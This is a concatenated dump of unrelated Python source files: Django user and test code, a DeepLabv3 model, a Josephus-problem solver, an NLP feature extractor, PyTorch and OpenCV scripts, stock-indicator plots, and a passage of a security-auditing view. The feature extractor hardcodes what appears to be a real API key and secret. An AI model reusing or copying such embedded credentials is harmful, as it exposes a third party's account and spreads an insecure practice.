PhD to add\n\n Returns:\n Person: The person object in DB that belongs to the PhDs group\n \"\"\"\n logger.info(\"adding phd with sciper #\" + sciper)\n phd = add_person(sciper)\n add_to_group(phd, \"phds\")\n return phd\n\n\ndef add_person(sciper):\n \"\"\"Add the person to the database\n\n Args:\n sciper (str): the sciper of the person to be added\n\n Returns:\n Person: The created entry in DB\n \"\"\"\n logger.info(\"adding person with sciper #\" + sciper)\n ldapData = get_users(settings, [sciper])[0]\n person = Person()\n person.sciper = sciper\n person.username = ldapData[\"username\"]\n person.email = ldapData[\"email\"]\n person.first_name = ldapData[\"first_name\"]\n person.last_name = ldapData[\"last_name\"]\n person.save()\n return person\n\n\ndef add_to_group(person, groupName):\n \"\"\"Add the person into group\n\n Args:\n person (Person): the person to be added to the group\n groupName (str): The name of the group the person should belong to\n \"\"\"\n logger.info(\"Adding {} to {} group\".format(person, groupName))\n if person.groups.filter(name=groupName).exists() == False:\n group = Group.objects.get(name=groupName)\n group.user_set.add(person)\n\n\ndef update_supervisions(supervisions, client, worksheetName):\n \"\"\"saves the list of supervisions to GSheet\n Args:\n supervisions (List): The list of supervisions\n client (client_class): The Google authenticated client object\n worksheetName (str): The name of GSheet\n \"\"\"\n logger.info(\"updating GSheet with results\")\n sheet = client.open(worksheetName).sheet1\n\n sheet.update(supervisions, value_input_option=\"USER_ENTERED\")\n","sub_path":"teaching_pool_project/web/management/commands/load_supervisors.py","file_name":"load_supervisors.py","file_ext":"py","file_size_in_byte":8563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573924281","text":"import tensorflow as tf\nfrom keras import backend as K\nfrom keras import layers\nfrom keras.activations import relu\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom keras.layers import (Activation, Add, BatchNormalization, Concatenate,\n Conv2D, DepthwiseConv2D, Dropout,\n GlobalAveragePooling2D, Input, Lambda, Reshape,\n Softmax, ZeroPadding2D)\nfrom keras.models import Model\nfrom keras.utils.data_utils import get_file\n\nfrom nets.mobilenetV2 import mobilenetV2\n\n\ndef SepConv_BN(x, filters, prefix, stride=1, kernel_size=3, rate=1, depth_activation=False, epsilon=1e-3):\n if stride == 1:\n depth_padding = 'same'\n else:\n kernel_size_effective = kernel_size + (kernel_size - 1) * (rate - 1)\n pad_total = kernel_size_effective - 1\n pad_beg = pad_total // 2\n pad_end = pad_total - pad_beg\n x = ZeroPadding2D((pad_beg, pad_end))(x)\n depth_padding = 'valid'\n \n if not depth_activation:\n x = Activation('relu')(x)\n\n # 首先使用3x3的深度可分离卷��\n x = DepthwiseConv2D((kernel_size, kernel_size), strides=(stride, stride), dilation_rate=(rate, rate),\n padding=depth_padding, use_bias=False, name=prefix + '_depthwise')(x)\n x = BatchNormalization(name=prefix + '_depthwise_BN', epsilon=epsilon)(x)\n if depth_activation:\n x = Activation('relu')(x)\n\n # 利用1x1卷积进行通道数调整\n x = Conv2D(filters, (1, 1), padding='same', use_bias=False, name=prefix + '_pointwise')(x)\n x = BatchNormalization(name=prefix + '_pointwise_BN', epsilon=epsilon)(x)\n if depth_activation:\n x = Activation('relu')(x)\n\n return x\n\ndef Deeplabv3(input_shape=(416, 416, 3), classes=21, alpha=1.):\n img_input = Input(shape=input_shape)\n\n # x 52, 52, 320\n # skip1 104, 104, 24\n x, skip1 = mobilenetV2(img_input, alpha)\n size_before = tf.keras.backend.int_shape(x)\n\n #---------------------------------------------------------------#\n # 全部求平均后,再利用expand_dims扩充维度\n # 52,52,320 -> 1,1,320 -> 1,1,320\n #---------------------------------------------------------------#\n b4 = GlobalAveragePooling2D()(x)\n b4 = Lambda(lambda x: K.expand_dims(x, 1))(b4)\n b4 = Lambda(lambda x: K.expand_dims(x, 1))(b4)\n b4 = Conv2D(256, (1, 1), padding='same', use_bias=False, name='image_pooling')(b4)\n b4 = BatchNormalization(name='image_pooling_BN', epsilon=1e-5)(b4)\n b4 = Activation('relu')(b4)\n # 1,1,256 -> 52,52,256\n b4 = Lambda(lambda x: tf.image.resize_images(x, size_before[1:3]))(b4)\n\n #---------------------------------------------------------------#\n # 调整通道\n #---------------------------------------------------------------#\n b0 = Conv2D(256, (1, 1), padding='same', use_bias=False, name='aspp0')(x)\n b0 = BatchNormalization(name='aspp0_BN', epsilon=1e-5)(b0)\n b0 = Activation('relu', name='aspp0_activation')(b0)\n\n # 52, 52, 256 + 52, 52, 256 -> 52, 52, 512\n x = Concatenate()([b4, b0])\n\n # 利用1x1卷积调整通道数\n # 52, 52, 1280 -> 52,52,256\n x = Conv2D(256, (1, 1), padding='same', use_bias=False, name='concat_projection')(x)\n x = BatchNormalization(name='concat_projection_BN', epsilon=1e-5)(x)\n x = Activation('relu')(x)\n x = Dropout(0.1)(x)\n\n # 52,52,256 -> 104,104,2 -> 416,416,2\n size_before3 = tf.keras.backend.int_shape(img_input)\n x = Conv2D(classes, (1, 1), padding='same')(x)\n x = Lambda(lambda xx:tf.image.resize_images(xx, size_before3[1:3]))(x)\n\n x = Reshape((-1,classes))(x)\n x = Softmax()(x)\n\n model = Model(img_input, x, name='deeplabv3plus')\n return model\n\n","sub_path":"Muiti_Class_deeplab_Mobile/nets/deeplab.py","file_name":"deeplab.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"105051350","text":"import sys\r\n\r\ninput = sys.stdin.readline\r\n\r\n\r\ndef update(i, diff):\r\n while i < size:\r\n bit[i] += diff\r\n i |= i + 1\r\n\r\n\r\ndef get(x): # size = 4\r\n left, right = 0, size\r\n for i in range(exp + 1):\r\n mid = (left + right) >> 1\r\n val = bit[mid - 1]\r\n if val >= x:\r\n right = mid\r\n else:\r\n left = mid\r\n x -= val\r\n return left\r\n\r\n\r\nn, k = map(int, input().split())\r\n\r\nexp, size = 0, 1\r\nwhile size < n:\r\n exp += 1\r\n size *= 2\r\nbit = [0] * size\r\nfor i in range(n):\r\n update(i, 1)\r\n\r\n\r\n\r\nans = []\r\nx = 0\r\nfor j in range(n, 0, -1):\r\n x = (x + k - 1) % j\r\n\r\n val = get(x + 1)\r\n update(val, -1)\r\n ans.append(val + 1)\r\n\r\nsys.stdout.write(f'<{\", \".join(map(str, ans))}>')","sub_path":"1168_pypy.py","file_name":"1168_pypy.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"365907203","text":"import nltk\nimport numpy\nimport re\nfrom nltk.util import ngrams\nimport operator\nimport gensim\nfrom collections import defaultdict\nfrom math import sqrt\nimport json\nimport requests\nimport hashlib\nimport time\nfrom operator import itemgetter\nimport pickle\nimport os\n\n# extract configured set of features from list of text instances\n# global variables to pass around data\nsource_texts = []\ntokenized_texts_case = []\nword_counts = []\ntokenized_texts = []\ntagged_texts = []\ncropped_texts = []\nstemmed_texts = []\nstemmed_cropped_texts = []\nw2v_model = None\npfolder = 0\n\n\ndef preprocess():\n \"\"\" prepares source_texts for feature extraction; called by extract_features\n\n puts words in lower case, tokenizes and stems them, and removes rare words\n no args and no return because of use of global variables\n \"\"\"\n\n global source_texts, tokenized_texts_case, word_counts, tokenized_texts, \\\n tagged_texts, cropped_texts, stemmed_texts, stemmed_cropped_texts, pfolder\n\n # load the processed texts from pickle dumps if those exist (check for one)\n if os.path.exists(pfolder+'/tokenized_texts_case.p'):\n with open(pfolder+'/tokenized_texts_case.p', 'rb') as p_file:\n tokenized_texts_case = pickle.load(p_file)\n with open(pfolder+'/word_counts.p', 'rb') as p_file:\n word_counts = pickle.load(p_file)\n with open(pfolder+'/tokenized_texts.p', 'rb') as p_file:\n tokenized_texts = pickle.load(p_file)\n with open(pfolder+'/tagged_texts.p', 'rb') as p_file:\n tagged_texts = pickle.load(p_file)\n with open(pfolder+'/cropped_texts.p', 'rb') as p_file:\n cropped_texts = pickle.load(p_file)\n with open(pfolder+'/stemmed_texts.p', 'rb') as p_file:\n stemmed_texts = pickle.load(p_file)\n with open(pfolder+'/stemmed_cropped_texts.p', 'rb') as p_file:\n stemmed_cropped_texts = pickle.load(p_file)\n return\n else:\n # lower case, count words, tokenize, and tag\n tokenized_texts_case = [nltk.word_tokenize(text) for text in source_texts]\n source_texts = [text.lower() for text in source_texts]\n word_counts = [len(text.split()) for text in source_texts]\n tokenized_texts = [nltk.word_tokenize(text) for text in source_texts]\n tagged_texts = [[tag[1] for tag in nltk.pos_tag(text)]\n for text in tokenized_texts]\n\n stop_list = nltk.corpus.stopwords.words('english')\n stop_list.extend(['.', ',', ':', ';', '(', ')', '!', '?', '\"', \"'\", \"''\",\n '``', '-', \"'s\", 'would', '[', ']', '{', '}', '...',\n 'p.'])\n cropped_texts = [[word for word in text if word not in stop_list]\n for text in tokenized_texts]\n\n # stem using standard nltk porter stemmer\n porter = nltk.PorterStemmer()\n # stemmed_texts = [[porter.stem(t) for t in tokens]\n # for tokens in tokenized_texts]\n # iterating instead of list comprehension to allow exception handling\n stemmed_texts = []\n for tokens in tokenized_texts:\n stemmed_text = []\n for t in tokens:\n try:\n stemmed_text.extend([porter.stem(t)])\n except IndexError:\n stemmed_text.extend('')\n stemmed_texts.append(stemmed_text)\n stemmed_cropped_texts = []\n for tokens in cropped_texts:\n stemmed_cropped_text = []\n for t in tokens:\n try:\n stemmed_cropped_text.extend([porter.stem(t)])\n except IndexError:\n stemmed_cropped_text.extend('')\n stemmed_cropped_texts.append(stemmed_cropped_text)\n\n # remove rare words\n # vocab = nltk.FreqDist(w for w in line for line in stemmed_texts)\n vocab = nltk.FreqDist(w for text in stemmed_texts for w in text)\n rare_words_list = [re.escape(word) for word in vocab.hapaxes()]\n rare_words_regex = re.compile(r'\\b(%s)\\b' % '|'.join(rare_words_list))\n stemmed_texts = [[rare_words_regex.sub('', w) for w in text]\n for text in stemmed_texts]\n # note: source_texts will be lower case, but only stemmed_texts will have\n # rare words removed\n\n # dump the processed texts to pickle files for next time they are needed\n with open(pfolder+'/tokenized_texts_case.p', 'wb') as p_file:\n pickle.dump(tokenized_texts_case, p_file)\n with open(pfolder+'/word_counts.p', 'wb') as p_file:\n pickle.dump(word_counts, p_file)\n with open(pfolder+'/tokenized_texts.p', 'wb') as p_file:\n pickle.dump(tokenized_texts, p_file)\n with open(pfolder+'/tagged_texts.p', 'wb') as p_file:\n pickle.dump(tagged_texts, p_file)\n with open(pfolder+'/cropped_texts.p', 'wb') as p_file:\n pickle.dump(cropped_texts, p_file)\n with open(pfolder+'/stemmed_texts.p', 'wb') as p_file:\n pickle.dump(stemmed_texts, p_file)\n with open(pfolder+'/stemmed_cropped_texts.p', 'wb') as p_file:\n pickle.dump(stemmed_cropped_texts, p_file)\n\n\ndef bag_of_function_words():\n \"\"\" returns, for each nltk stop word, count per text in source_texts \"\"\"\n bow = []\n for sw in nltk.corpus.stopwords.words('english'):\n counts = [sum(1 for _ in re.finditer(r'\\b%s\\b' % sw, text))\n for text in source_texts]\n counts = [counts[i] / word_counts[i] for i in range(0, len(counts))]\n bow.append(counts)\n return bow\n\n\ndef bag_of_ngrams(texts, n=1, m=None):\n \"\"\" returns counts of up to m overall most common ngrams for each given text\n\n determines the counts of all ngrams, orders them by sum of counts across\n texts and returns counts for up to m most common ones\n\n args:\n texts: list of texts as list of list of words (or tags etc)\n n: 1 for unigram (default), 2 for bigram, 3 for trigram etc.\n m: upper limit for number of features; if none, all are returned\n\n returns:\n list of list of most common ngram counts, m x len(texts)\n \"\"\"\n # generate list of lists of ngrams for all texts\n ngrammed_texts = [list(ngrams(text, n)) for text in texts]\n\n # count ngrams in dictionaries, one for each text, plus one for sums\n cnts = []\n cnt_sum = defaultdict(int)\n for text in ngrammed_texts:\n cnts.append(defaultdict(int))\n i = len(cnts) - 1\n for ngram in text:\n cnts[i][ngram] += 1\n cnt_sum[ngram] += 1\n\n # create list of lists of counts for each text for the most common ngrams\n # first, sort the ngrams by total counts\n cnt_sorted = sorted(cnt_sum.items(), key=operator.itemgetter(1),\n reverse=True)\n # then, create the bag of ngrams (up to m), normalized by word count\n bon = []\n for ngram, total in cnt_sorted:\n counts = [cnt[ngram] for cnt in cnts]\n counts = [counts[i] / word_counts[i] for i in range(0, len(counts))]\n bon.append(counts)\n if m and len(bon) >= m:\n break\n return bon\n\n\n# def bag_of_char_ngrams(texts, n=1, m=None):\n# \"\"\" returns counts of up to m overall most common character ngrams for\n# each given text\"\"\"\n\n\ndef unique_words_ratio():\n \"\"\" returns #unique words / #words for each text\n\n uses stemmed words so 'eat' and 'eating' etc. are not treated as distinct\n (assuming they are stemmed correctly; 'eat' and 'ate' are still 'distinct');\n note that punctuation characters, parentheses etc. are treated as words\n \"\"\"\n return [[len(set(text)) / len(text) for text in stemmed_texts]]\n\n\ndef words_per_sentence():\n \"\"\" returns average number of words per sentence for each text\n\n uses the '.' POS tag to detect number of sentences to avoid treating '.' in\n abbreviations as sentence ends\n \"\"\"\n return [[word_counts[i] /\n (tagged_texts[i].count('.') if tagged_texts[i].count('.') > 0\n else 1)\n for i in range(0, len(word_counts))]]\n\n\ndef characters_per_words():\n \"\"\" returns average number of characters per word for each text\n\n note that character count includes punctuation, parentheses etc.\n \"\"\"\n return [[(len(source_texts[i]) - word_counts[i] + 1) / word_counts[i]\n for i in range(0, len(word_counts))]]\n\n\ndef topic_model_scores(num_topics):\n \"\"\" returns, for the top num_topics topics (lsi), the score for each text\n\n args:\n num_topics: number of topics (features) to consider\n \"\"\"\n dictionary = gensim.corpora.Dictionary(cropped_texts)\n corpus = [dictionary.doc2bow(text) for text in cropped_texts]\n tfidf = gensim.models.TfidfModel(corpus)\n corpus_tfidf = tfidf[corpus]\n lsi = gensim.models.lsimodel.LsiModel(corpus=corpus, id2word=dictionary,\n num_topics=num_topics)\n corpus_lsi = lsi[corpus_tfidf]\n\n return [[scores[i][1] if len(scores) > i else 0 for scores in corpus_lsi]\n for i in range(0, num_topics)]\n\n\ndef word2vec_avg():\n \"\"\" returns avg vector for words in each text \"\"\"\n global w2v_model\n w2v_model = gensim.models.KeyedVectors.load_word2vec_format(\n 'data/GoogleNews-vectors-negative300.bin.gz', binary=True)\n\n return [[sum(w2v_model[token][i] for token in text if token in w2v_model) /\n len(text)\n # use texts in original case (google word2vec is case sensitive)\n for text in tokenized_texts_case]\n for i in range(0, 50)]\n\n\ndef word2vec_max_val():\n \"\"\" returns vector of max value for each dim for all words in each text \"\"\"\n return [[max(w2v_model[token][i] for token in text if token in w2v_model)\n # use texts in original case (google word2vec is case sensitive)\n for text in tokenized_texts_case]\n for i in range(0, 50)]\n\n\ndef word2vec_avg_max_abs(n=5):\n \"\"\" returns avg of n vectors with max abs value for words in each text \"\"\"\n # compute absolute values for word vectors for words in each text\n abs_vals = [[[w2v_model[token],\n sqrt(sum(val * val for val in w2v_model[token]))]\n for token in text if token in w2v_model]\n for text in tokenized_texts_case]\n # sort vectors within texts by absolute values\n abs_vals_sorted = [sorted(vec_lst, key=operator.itemgetter(1), reverse=True)\n for vec_lst in abs_vals]\n # return average of top n vectors for each text\n return [[sum(vec_lst[j][0][i] for j in range(0, min(n, len(vec_lst)))) /\n min(n, len(vec_lst))\n for vec_lst in abs_vals_sorted]\n for i in range(0, 50)]\n\n\ndef liwc_scores():\n \"\"\" returns 93 liwc scores for each text\"\"\"\n def get_liwc_scores(text):\n \"\"\" aux function to handle the api call to liwc for a single text\"\"\"\n\n api_key = '58d00611e53b0b05af5239d6'\n api_secret = 'isYCnugw39h025UjvQe5ZCdCKhj1EgaAHjZjsIbPips'\n\n # hash + timestamp as identifer for each text\n # must be unique and texts apparently cannot be deleted after upload\n text_index = '%s_%s' % (\n hashlib.sha1(text.encode()).hexdigest(),\n time.time())\n\n headers = {\n 'X-API-KEY': api_key,\n 'X-API-SECRET-KEY': api_secret,\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n }\n\n data = {\n 'name': text_index,\n 'person_handle': text_index,\n 'gender': 0,\n 'content': {\n 'language_content': text\n }\n }\n\n response = requests.post('https://app.receptiviti.com/v2/api/person',\n headers=headers, data=json.dumps(data))\n if response.status_code != 200:\n if response.status_code == 429:\n raise Exception('LIWC API call failed, too many requests!')\n else:\n print(text)\n return numpy.zeros(93)\n # raise Exception('API call for LIWC scores failed!')\n\n liwc_raw = response.json()['contents'][0]['liwc_scores']\n # 7 keys directly contain a score, 1 key contains dict; flatten this\n liwc_tuples = [(key, val) for (key, val) in liwc_raw.items()\n if key != 'categories']\n liwc_tuples.extend([(key, val) for (key, val)\n in liwc_raw['categories'].items()])\n # return just the scores, sorted by their keys\n return [val for (key, val) in sorted(liwc_tuples, key=itemgetter(0))]\n\n text_scores = [get_liwc_scores(text) for text in source_texts]\n return [[scores[i] for scores in text_scores]\n for i in range(0, len(text_scores[0]))]\n\n\ndef extract_features(texts, conf, folder):\n \"\"\" extracts features in given conf from each text in given list of texts\n\n args:\n texts: list of texts from which to extract features\n conf: set of identifiers of features to be extracted; from conf file\n folder: which pickle folder\n\n returns:\n list of lists, #instances x #features = len(texts) x len(conf)\n \"\"\"\n\n global pfolder\n if folder == 0:\n pfolder = \"pickle_concat\"\n else:\n pfolder = \"pickle_ind\"\n\n global source_texts\n source_texts = texts\n preprocess()\n\n def load_or_compute(feature):\n global pfolder\n feat_data = []\n if os.path.exists('%s/%s.p' % (pfolder, feature)):\n with open('%s/%s.p' % (pfolder, feature), 'rb') as p_file:\n feat_data = pickle.load(p_file)\n else:\n if feature == 'bag_of_function_words':\n feat_data = bag_of_function_words()\n if feature == 'bag_of_pos_trigrams':\n feat_data = bag_of_ngrams(tagged_texts, 3, 500)\n if feature == 'bag_of_pos_bigrams':\n feat_data = bag_of_ngrams(tagged_texts, 2, 100)\n if feature == 'bag_of_pos_unigrams':\n feat_data = bag_of_ngrams(tagged_texts, 1, None)\n if feature == 'bag_of_trigrams':\n feat_data = bag_of_ngrams(stemmed_texts, 3, 500)\n if feature == 'bag_of_bigrams':\n feat_data = bag_of_ngrams(stemmed_texts, 2, 100)\n if feature == 'bag_of_unigrams':\n feat_data = bag_of_ngrams(stemmed_cropped_texts, 1, 100)\n if feature == 'characters_per_word':\n feat_data = characters_per_words()\n if feature == 'unique_words_ratio':\n feat_data = unique_words_ratio()\n if feature == 'words_per_sentence':\n feat_data = words_per_sentence()\n if feature == 'topic_model_scores':\n feat_data = topic_model_scores(20)\n if feature == 'word2vec_avg':\n feat_data = word2vec_avg()\n if feature == 'word2vec_max_val':\n feat_data = word2vec_max_val()\n if feature == 'word2vec_avg_max_abs':\n feat_data = word2vec_avg_max_abs()\n if feature == 'liwc_scores':\n feat_data = liwc_scores()\n if feature == 'char_unigram':\n feat_data = bag_of_ngrams(source_texts, 1, 100)\n if feature == 'char_bigram':\n feat_data = bag_of_ngrams(source_texts, 2, 100)\n if feature == 'char_trigram':\n feat_data = bag_of_ngrams(source_texts, 3, 500)\n with open('%s/%s.p' % (pfolder, feature), 'wb') as p_file:\n pickle.dump(feat_data, p_file)\n return feat_data\n\n all_features = conf is None or len(conf) == 0\n\n # names of all supported features\n supported_feats = ['bag_of_function_words', 'bag_of_pos_trigrams',\n 'bag_of_pos_bigrams', 'bag_of_pos_unigrams',\n 'bag_of_trigrams', 'bag_of_bigrams',\n 'bag_of_unigrams', 'topic_model_scores',\n 'characters_per_word', 'unique_words_ratio',\n 'words_per_sentence', 'word2vec_avg',\n 'word2vec_avg_max_abs', 'word2vec_max_val',\n 'liwc_scores', 'char_unigram',\n 'char_bigram', 'char_trigram']\n\n # features will be list of lists\n # each component list will have the same length as the list of input text\n features = []\n\n # for each feature, load pickle or compute values if there is no dump\n for feat in supported_feats:\n if all_features or feat in conf:\n features.extend(load_or_compute(feat))\n\n # transpose list of lists so its dimensions are #instances x #features\n return numpy.asarray(features).T.tolist()\n","sub_path":"feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":16813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"537599380","text":"import torch\nfrom torch.autograd import Variable\n\nx_data=Variable(torch.Tensor([[1.0],[2.0],[3.0]]))\ny_data=Variable(torch.Tensor([[2.0],[4.0],[6.0]])) #3x1 matrix\n\nclass LinearModel(torch.nn.Module):\n def __index__(self):\n super(LinearModel, self).__init__()\n self.linear=torch.nn.Linear(1,1) #w,no need to know batch size\n def forward(self, x):\n y_pred=self.linear(x)\n return y_pred\n\nLmodel=LinearModel()\ncriterion=torch.nn.MSELoss(size_average=False)\noptimizer=torch.optim.SGD(Lmodel.parameters(),lr=0.01)\n\n\nfor epoch in range(500):\n y_pred=Lmodel(x_data)\n loss=criterion(y_pred,y_data)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n\n\nhour_var = Variable(torch.Tensor([[4.0]]))\ny_pred = Lmodel(hour_var)\nprint(\"predict (after training)\", 4, Lmodel(hour_var).data[0][0])","sub_path":"linearreg.py","file_name":"linearreg.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"536263259","text":"from django.conf.urls import patterns, url\n\nfrom charts import views\n\n__author__ = 'Samuel FLORES'\n\nurlpatterns = patterns('',\n # root of charts/\n url(r'^$', views.index, name='index'),\n #\n url(r'^(?P\\d+)/', views.hw_resources, name='host_url')\n )\n","sub_path":"web_interface/charts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124605008","text":"import numpy as np\r\nimport pandas as pd\r\nimport pandas_datareader.data as web \r\nimport datetime\r\nimport matplotlib.pyplot as plt\r\n\r\nclass plot(object):\r\n\r\n def __init__(self, ticker, y1, m1, d1, y2, m2, d2):#choosing stock and period of backtesting, y1 - year of start date\r\n self.ticker=ticker\r\n self.y1=y1\r\n self.m1=m1\r\n self.d1=d1\r\n self.y2=y2\r\n self.m2=m2\r\n self.d2=d2\r\n\r\n def ma(self,s,l):\r\n\r\n start = datetime.datetime(self.y1,self.m1,self.d1)\r\n \r\n end = datetime.datetime(self.y2,self.m2,self.d2)\r\n\r\n dates=pd.date_range(start,end)\r\n df1=pd.DataFrame(index=dates)\r\n \r\n \r\n\r\n stock = web.DataReader(self.ticker, \"yahoo\", start, end)\r\n \r\n \r\n \r\n stock['short']=np.round(stock['Adj Close'].rolling(window=s).mean(),2)\r\n stock['long']=np.round(stock['Adj Close'].rolling(window=l).mean(),2)\r\n \r\n stock[['Adj Close','short','long']].plot(grid=True,figsize=(13,8))#employing plot function\r\n plt.ylabel('MA Crossover') \r\n return plt.show()\r\n\r\n def stochastic(self):#check\r\n \r\n start = datetime.datetime(self.y1,self.m1,self.d1)\r\n \r\n end = datetime.datetime(self.y2,self.m2,self.d2)\r\n\r\n dates=pd.date_range(start,end)\r\n df1=pd.DataFrame(index=dates)\r\n \r\n \r\n\r\n stock = web.DataReader(self.ticker, \"yahoo\", start, end)\r\n \r\n df1=df1.join(stock)\r\n\r\n \r\n\r\n stock['LL']=np.round(stock['Low'].rolling(window=14).min(),2) #Min of last 14 values of Low\r\n stock['HH']=np.round(stock['High'].rolling(window=14).max(),2)#Max of last 14 of High\r\n \r\n \r\n stock['K']=100*(stock['Adj Close'][13:]-stock['LL'][13:])/(stock['HH'][13:]-stock['LL'][13:]) #calculating K\r\n\r\n df2=stock['K'].dropna() # drop missing data\r\n\r\n\r\n D=np.round(df2.rolling(window=3).mean(),2).dropna()# calcualtio of D by given formula; dropping mising data\r\n\r\n #stock['Adj Close'].plot(grid=True,figsize=(10,6))\r\n D.plot(grid=True,figsize=(13,8))\r\n \r\n plt.ylabel('Stochastic Oscillator') \r\n return plt.show() \r\n","sub_path":"codes/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"394420280","text":"'''\n边框 最小矩形区域和最小闭圆的轮廓\n'''\n\nimport cv2\nimport numpy as np\n\n#处理借鉴 https://www.cnblogs.com/zyly/p/9327425.html\n\nimg = cv2.pyrDown(cv2.imread('E:/pic1.jpg', cv2.IMREAD_UNCHANGED))\n\n# 转换为灰色gray_img\ngray_img = cv2.cvtColor(img.copy(), cv2.COLOR_BGR2GRAY)\n\n# 对图像二值化处理 输入图像必须为单通道8位或32位浮点型\nret, thresh = cv2.threshold(gray_img, 127, 255, cv2.THRESH_BINARY)\n\n# 寻找最外面的图像轮廓 返回修改后的图像 图像的轮廓 以及它们的层次\n#要想返回三个参数:把OpenCV 降级成3.4.3.18 就可以了,在终端输入pip install opencv-python==3.4.3.18\n# image, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\ncontours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\nprint(type(contours))\nprint(type(contours[0]))\nprint(len(contours))\n\n# 遍历每一个轮廓\nfor c in contours:\n # 找到边界框的坐标\n x, y, w, h = cv2.boundingRect(c)\n # 在img图像上 绘制矩形 线条颜色为green 线宽为2\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # 找到最小区域\n rect = cv2.minAreaRect(c)\n\n # 计算最小矩形的坐标\n box = cv2.boxPoints(rect)\n\n # 坐标转换为整数\n box = np.int0(box)\n\n # 绘制轮廓 最小矩形 blue\n cv2.drawContours(img, [box], 0, (255, 0, 0), 3)\n\n # 计算闭圆中心店和和半径\n (x, y), radius = cv2.minEnclosingCircle(c)\n\n # 转换为整型\n center = (int(x), int(y))\n radius = int(radius)\n\n # 绘制闭圆\n img = cv2.circle(img, center, radius, (0, 255, 0), 2)\n\ncv2.drawContours(img, contours, -1, (0, 0, 255), 2)\ncv2.imshow('contours', img)","sub_path":"ImageSolve/测试收纳/fc2.py","file_name":"fc2.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"87993715","text":"import pytest\nfrom django.contrib.auth import get_user_model\nfrom django.views.generic import ListView, DetailView\n\nfrom vprad.views.generic.mixin import ModelDataMixin\n\n\ndef test_model_data_mixin_get_model_or_object():\n class AListView(ModelDataMixin, ListView):\n model = get_user_model()\n\n class ADetailView(ModelDataMixin, DetailView):\n model = get_user_model()\n\n list = AListView()\n assert list._get_model_or_object() == get_user_model()\n detail = ADetailView()\n with pytest.raises(AttributeError):\n # .get_object() has not been called,\n # so .object should raise an AttributeError\n detail._get_model_or_object()\n\n\ndef test_get_headline_object(db):\n class ADetailView(ModelDataMixin, DetailView):\n model = get_user_model()\n\n object = get_user_model()()\n object.a_headline = 'a_headline'\n object.a_headline_callable = lambda: 'a_callable'\n view = ADetailView()\n\n view.object = object\n assert view.get_headline() == ''\n view.headline = 'a_headline'\n assert view.get_headline() == 'a_headline'\n view.headline = 'a_headline_callable'\n assert view.get_headline() == 'a_callable'\n\n\ndef test_get_headline_model(db):\n class AListView(ModelDataMixin, ListView):\n model = get_user_model()\n\n model = get_user_model()\n model.b_headline = 'b_headline'\n model.b_headline_callable = lambda: 'b_callable'\n view = AListView()\n\n assert view.get_headline() == 'user list'\n view.headline = 'b_headline'\n assert view.get_headline() == 'b_headline'\n view.headline = 'b_headline_callable'\n assert view.get_headline() == 'b_callable'\n del model.b_headline\n del model.b_headline_callable\n\n\ndef test_get_headline_subtitle(db):\n class ADetailView(ModelDataMixin, DetailView):\n model = get_user_model()\n\n object = get_user_model()()\n object.a_subtitle = 'a_subtitle'\n object.a_subtitle_callable = lambda: 'a_callable'\n view = ADetailView()\n\n view.object = object\n assert view.get_headline_subtitle() == '-'\n view.headline_subtitle = 'a_subtitle'\n assert view.get_headline_subtitle() == 'a_subtitle'\n view.headline_subtitle = 'a_subtitle_callable'\n assert view.get_headline_subtitle() == 'a_callable'\n\n","sub_path":"tests/views/test_mixin_modeldata.py","file_name":"test_mixin_modeldata.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"143233186","text":"\"\"\"\n.. module: security_monkey.views.poam\n :platform: Unix\n\n.. version:: $$VERSION$$\n.. moduleauthor:: Pritam D. Gautam @nuagedm\n\n\"\"\"\nfrom sqlalchemy.orm import joinedload, aliased, load_only, defer\n\nfrom security_monkey import db, rbac\nfrom security_monkey.views import AuthenticatedService\nfrom security_monkey.datastore import Item, ItemAudit, Account, Technology, ItemRevision\nfrom sqlalchemy import func, text, null as sqlnull, false, between\n\n\ndef sev2score(score):\n if score < 5:\n return \"Low\"\n elif score > 10:\n return \"High\"\n else:\n return \"Medium\"\n\n\n# Get a List of POA&M Items\nclass POAMItemList(AuthenticatedService):\n decorators = [rbac.allow(['View'], [\"GET\"])]\n\n\n def get(self):\n \"\"\"\n .. http:get:: /api/1/poamitems\n\n Get a List of POA&M Items by account.\n\n **Example Request**:\n\n .. sourcecode:: http\n\n GET /api/1/poamitems HTTP/1.1\n Host: example.com\n Accept: application/json\n\n **Example Response**:\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Vary: Accept\n Content-Type: application/json\n\n {\n \"items\": [\n {\n \"control\": \"policy\",\n \"create_date\": \"2017-11-01 19:29:52.329638\",\n \"poam_comments\": null,\n \"poam_id\": \"sa_poam-12868\",\n \"item_id\": \"\",\n \"account\": \"DEV\",\n \"score\": 10,\n \"weakness_description\": \"Service [iam] Category: [Permissions] Resources: [\\\"*\\\"], universal, ServiceCatalogAdmin-SupplementalPermissions\",\n \"weakness_name\": \"Sensitive Permissions\"\n }\n ],\n 